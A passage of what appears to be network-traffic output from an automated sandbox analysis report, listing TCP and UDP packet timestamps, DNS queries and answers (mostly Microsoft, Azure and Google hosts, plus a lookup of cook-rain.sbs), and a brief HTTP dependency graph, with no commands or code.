Nov 20, 2024 08:13:01.478960037 CET	50050	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.478971004 CET	443	50050	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.479352951 CET	50046	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.479387045 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.479427099 CET	50046	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.479434013 CET	443	50046	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.544080019 CET	50049	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.544080019 CET	50049	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.544123888 CET	443	50049	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.544136047 CET	443	50049	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.580527067 CET	443	50050	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.580727100 CET	443	50050	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.580837011 CET	50050	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.604665995 CET	50050	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.604692936 CET	443	50050	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.604703903 CET	50050	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.604710102 CET	443	50050	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.625828028 CET	50052	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.625876904 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.625950098 CET	50052	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.633735895 CET	50052	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.633761883 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.642003059 CET	50054	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.642041922 CET	443	50054	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.642143011 CET	50054	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.642401934 CET	50054	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.642407894 CET	443	50054	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.645168066 CET	50055	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.645198107 CET	443	50055	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.645343065 CET	50055	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.649310112 CET	50056	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.649338007 CET	443	50056	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.649388075 CET	50056	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.649434090 CET	50055	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.649451017 CET	443	50055	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.650945902 CET	50057	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.650969982 CET	443	50057	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.651091099 CET	50057	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.651484966 CET	50057	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.651496887 CET	443	50057	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:01.655208111 CET	50056	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:01.655222893 CET	443	50056	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.272797108 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.277621984 CET	50052	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.277631044 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.278170109 CET	50052	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.278173923 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.291723967 CET	443	50056	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.292179108 CET	50056	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.292201042 CET	443	50056	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.292869091 CET	50056	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.292879105 CET	443	50056	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.299002886 CET	443	50057	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.303431034 CET	443	50054	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.305897951 CET	50057	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.305922985 CET	443	50057	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.307343006 CET	50057	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.307352066 CET	443	50057	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.312103033 CET	50054	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.312112093 CET	443	50054	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.312767029 CET	50054	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.312771082 CET	443	50054	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.358666897 CET	443	50055	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.359428883 CET	50055	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.359451056 CET	443	50055	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.360080004 CET	50055	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.360085964 CET	443	50055	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.383485079 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.383512974 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.383554935 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.383600950 CET	50052	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.385520935 CET	50052	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.385520935 CET	50052	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.385535955 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.385546923 CET	443	50052	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.393939018 CET	443	50056	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.394007921 CET	443	50056	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.394239902 CET	50056	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.394294977 CET	50056	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.394294977 CET	50056	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.394309998 CET	443	50056	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.394320011 CET	443	50056	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.405186892 CET	443	50057	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.405436039 CET	443	50057	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.406124115 CET	50057	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.406124115 CET	50057	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.406124115 CET	50057	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.411436081 CET	443	50054	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.411684036 CET	443	50054	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.411735058 CET	50054	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.411792040 CET	50054	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.411797047 CET	443	50054	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.411807060 CET	50054	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.411813021 CET	443	50054	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.462790966 CET	443	50055	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.462871075 CET	443	50055	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.462953091 CET	50055	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.467279911 CET	50055	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.467298985 CET	443	50055	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.467324972 CET	50055	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.467330933 CET	443	50055	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:02.884892941 CET	50057	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:13:02.884932041 CET	443	50057	13.107.246.42	192.168.2.6
Nov 20, 2024 08:13:04.533759117 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:13:04.533833027 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:13:04.534066916 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:13:04.640199900 CET	49963	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:13:04.640233040 CET	443	49963	142.250.185.228	192.168.2.6
Nov 20, 2024 08:13:07.276361942 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:07.276372910 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:07.276520014 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:07.276909113 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:07.276920080 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.060120106 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.060199976 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.062033892 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.062040091 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.062427044 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.070784092 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.111330032 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.385276079 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.385307074 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.385353088 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.385400057 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.385420084 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.385443926 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.385464907 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.386148930 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.386197090 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.386214972 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.386219978 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.386240005 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.386259079 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.387468100 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.390105963 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.390122890 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:08.390137911 CET	50087	443	192.168.2.6	4.245.163.56
Nov 20, 2024 08:13:08.390142918 CET	443	50087	4.245.163.56	192.168.2.6
Nov 20, 2024 08:13:20.213915110 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:20.213968039 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:20.214029074 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:20.214732885 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:20.214752913 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:21.054613113 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:21.054696083 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:21.056591034 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:21.056606054 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:21.057106972 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:21.059022903 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:21.059104919 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:21.059112072 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:21.059231043 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:21.103343964 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:21.238979101 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:21.239097118 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:21.239274025 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:21.239577055 CET	50089	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:21.239584923 CET	443	50089	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:48.288145065 CET	49703	443	192.168.2.6	20.190.159.23
Nov 20, 2024 08:13:48.293895960 CET	443	49703	20.190.159.23	192.168.2.6
Nov 20, 2024 08:13:48.293950081 CET	49703	443	192.168.2.6	20.190.159.23
Nov 20, 2024 08:13:50.308303118 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:50.308353901 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:50.308459997 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:50.309396982 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:50.309422970 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:50.632596970 CET	49707	443	192.168.2.6	20.190.159.23
Nov 20, 2024 08:13:50.637815952 CET	443	49707	20.190.159.23	192.168.2.6
Nov 20, 2024 08:13:50.637882948 CET	49707	443	192.168.2.6	20.190.159.23
Nov 20, 2024 08:13:51.402918100 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:51.403258085 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:51.407265902 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:51.407275915 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:51.407581091 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:51.409282923 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:51.409343004 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:51.409347057 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:51.409547091 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:51.451337099 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:51.585630894 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:51.585822105 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:51.585938931 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:51.586167097 CET	50092	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:13:51.586189985 CET	443	50092	40.113.103.199	192.168.2.6
Nov 20, 2024 08:13:54.024597883 CET	50093	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:13:54.024653912 CET	443	50093	142.250.185.228	192.168.2.6
Nov 20, 2024 08:13:54.024979115 CET	50093	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:13:54.024979115 CET	50093	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:13:54.025012016 CET	443	50093	142.250.185.228	192.168.2.6
Nov 20, 2024 08:13:54.662568092 CET	443	50093	142.250.185.228	192.168.2.6
Nov 20, 2024 08:13:54.662847042 CET	50093	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:13:54.662878036 CET	443	50093	142.250.185.228	192.168.2.6
Nov 20, 2024 08:13:54.663220882 CET	443	50093	142.250.185.228	192.168.2.6
Nov 20, 2024 08:13:54.663877964 CET	50093	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:13:54.663947105 CET	443	50093	142.250.185.228	192.168.2.6
Nov 20, 2024 08:13:54.709877968 CET	50093	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:14:04.569645882 CET	443	50093	142.250.185.228	192.168.2.6
Nov 20, 2024 08:14:04.569736958 CET	443	50093	142.250.185.228	192.168.2.6
Nov 20, 2024 08:14:04.569775105 CET	50093	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:14:06.132962942 CET	50093	443	192.168.2.6	142.250.185.228
Nov 20, 2024 08:14:06.133002996 CET	443	50093	142.250.185.228	192.168.2.6
Nov 20, 2024 08:14:24.465374947 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:24.465470076 CET	443	50095	40.113.103.199	192.168.2.6
Nov 20, 2024 08:14:24.465590000 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:24.466162920 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:24.466173887 CET	443	50095	40.113.103.199	192.168.2.6
Nov 20, 2024 08:14:25.287586927 CET	443	50095	40.113.103.199	192.168.2.6
Nov 20, 2024 08:14:25.287673950 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:25.290276051 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:25.290297031 CET	443	50095	40.113.103.199	192.168.2.6
Nov 20, 2024 08:14:25.290558100 CET	443	50095	40.113.103.199	192.168.2.6
Nov 20, 2024 08:14:25.293040037 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:25.293320894 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:25.293346882 CET	443	50095	40.113.103.199	192.168.2.6
Nov 20, 2024 08:14:25.293371916 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:25.339354992 CET	443	50095	40.113.103.199	192.168.2.6
Nov 20, 2024 08:14:25.476219893 CET	443	50095	40.113.103.199	192.168.2.6
Nov 20, 2024 08:14:25.476322889 CET	443	50095	40.113.103.199	192.168.2.6
Nov 20, 2024 08:14:25.476393938 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:25.476650953 CET	50095	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:14:25.476692915 CET	443	50095	40.113.103.199	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:12:21.495338917 CET	62098	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:12:21.533392906 CET	53	62098	1.1.1.1	192.168.2.6
Nov 20, 2024 08:12:49.683465958 CET	53	60559	1.1.1.1	192.168.2.6
Nov 20, 2024 08:12:49.718799114 CET	53	64551	1.1.1.1	192.168.2.6
Nov 20, 2024 08:12:50.932220936 CET	53	54669	1.1.1.1	192.168.2.6
Nov 20, 2024 08:12:53.696552992 CET	64461	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:12:53.696713924 CET	52831	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:12:53.973670959 CET	53792	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:12:53.974028111 CET	63917	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:12:53.980562925 CET	53	53792	1.1.1.1	192.168.2.6
Nov 20, 2024 08:12:53.980788946 CET	53	63917	1.1.1.1	192.168.2.6
Nov 20, 2024 08:12:54.829631090 CET	62456	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:12:54.829772949 CET	61443	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:12:58.028217077 CET	53	52987	1.1.1.1	192.168.2.6
Nov 20, 2024 08:12:58.800837994 CET	53169	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:12:58.801450014 CET	64841	53	192.168.2.6	1.1.1.1
Nov 20, 2024 08:13:08.108418941 CET	53	58628	1.1.1.1	192.168.2.6
Nov 20, 2024 08:13:27.061146975 CET	53	53932	1.1.1.1	192.168.2.6
Nov 20, 2024 08:13:49.189369917 CET	53	58904	1.1.1.1	192.168.2.6
Nov 20, 2024 08:13:49.596108913 CET	53	51046	1.1.1.1	192.168.2.6
Nov 20, 2024 08:14:17.124897957 CET	53	65456	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 08:12:21.495338917 CET	192.168.2.6	1.1.1.1	0xf7da	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:53.696552992 CET	192.168.2.6	1.1.1.1	0x57e4	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:53.696713924 CET	192.168.2.6	1.1.1.1	0x9dd6	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 08:12:53.973670959 CET	192.168.2.6	1.1.1.1	0xa41	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:53.974028111 CET	192.168.2.6	1.1.1.1	0x4a7a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 08:12:54.829631090 CET	192.168.2.6	1.1.1.1	0xbda6	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:54.829772949 CET	192.168.2.6	1.1.1.1	0xac26	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 08:12:58.800837994 CET	192.168.2.6	1.1.1.1	0xeeb2	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:58.801450014 CET	192.168.2.6	1.1.1.1	0xd0e0	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 08:12:16.731888056 CET	1.1.1.1	192.168.2.6	0x8458	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:16.731888056 CET	1.1.1.1	192.168.2.6	0x8458	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:21.533392906 CET	1.1.1.1	192.168.2.6	0xf7da	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:21.533392906 CET	1.1.1.1	192.168.2.6	0xf7da	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:53.702930927 CET	1.1.1.1	192.168.2.6	0x2ba8	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:53.703085899 CET	1.1.1.1	192.168.2.6	0xb179	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:53.703085899 CET	1.1.1.1	192.168.2.6	0xb179	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:53.703085899 CET	1.1.1.1	192.168.2.6	0xb179	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:53.703175068 CET	1.1.1.1	192.168.2.6	0x57e4	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:53.703175068 CET	1.1.1.1	192.168.2.6	0x57e4	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:53.703175068 CET	1.1.1.1	192.168.2.6	0x57e4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:53.703175068 CET	1.1.1.1	192.168.2.6	0x57e4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:53.704086065 CET	1.1.1.1	192.168.2.6	0x9dd6	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:53.704086065 CET	1.1.1.1	192.168.2.6	0x9dd6	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:53.980562925 CET	1.1.1.1	192.168.2.6	0xa41	No error (0)	www.google.com		142.250.185.228	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:53.980788946 CET	1.1.1.1	192.168.2.6	0x4a7a	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 08:12:54.612576008 CET	1.1.1.1	192.168.2.6	0x3869	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:54.612576008 CET	1.1.1.1	192.168.2.6	0x3869	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:54.612576008 CET	1.1.1.1	192.168.2.6	0x3869	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:54.613735914 CET	1.1.1.1	192.168.2.6	0xa91	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:54.836584091 CET	1.1.1.1	192.168.2.6	0xbda6	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:54.836584091 CET	1.1.1.1	192.168.2.6	0xbda6	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:54.836584091 CET	1.1.1.1	192.168.2.6	0xbda6	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:54.836584091 CET	1.1.1.1	192.168.2.6	0xbda6	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:12:54.837146997 CET	1.1.1.1	192.168.2.6	0xac26	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:54.837146997 CET	1.1.1.1	192.168.2.6	0xac26	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:58.807809114 CET	1.1.1.1	192.168.2.6	0xeeb2	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:12:58.808727026 CET	1.1.1.1	192.168.2.6	0xd0e0	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:13:00.333846092 CET	1.1.1.1	192.168.2.6	0x751b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:13:00.350270033 CET	1.1.1.1	192.168.2.6	0xa035	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:13:03.308598042 CET	1.1.1.1	192.168.2.6	0x4a78	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:13:03.308943987 CET	1.1.1.1	192.168.2.6	0x53e	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

cook-rain.sbs

slscr.update.microsoft.com

https:

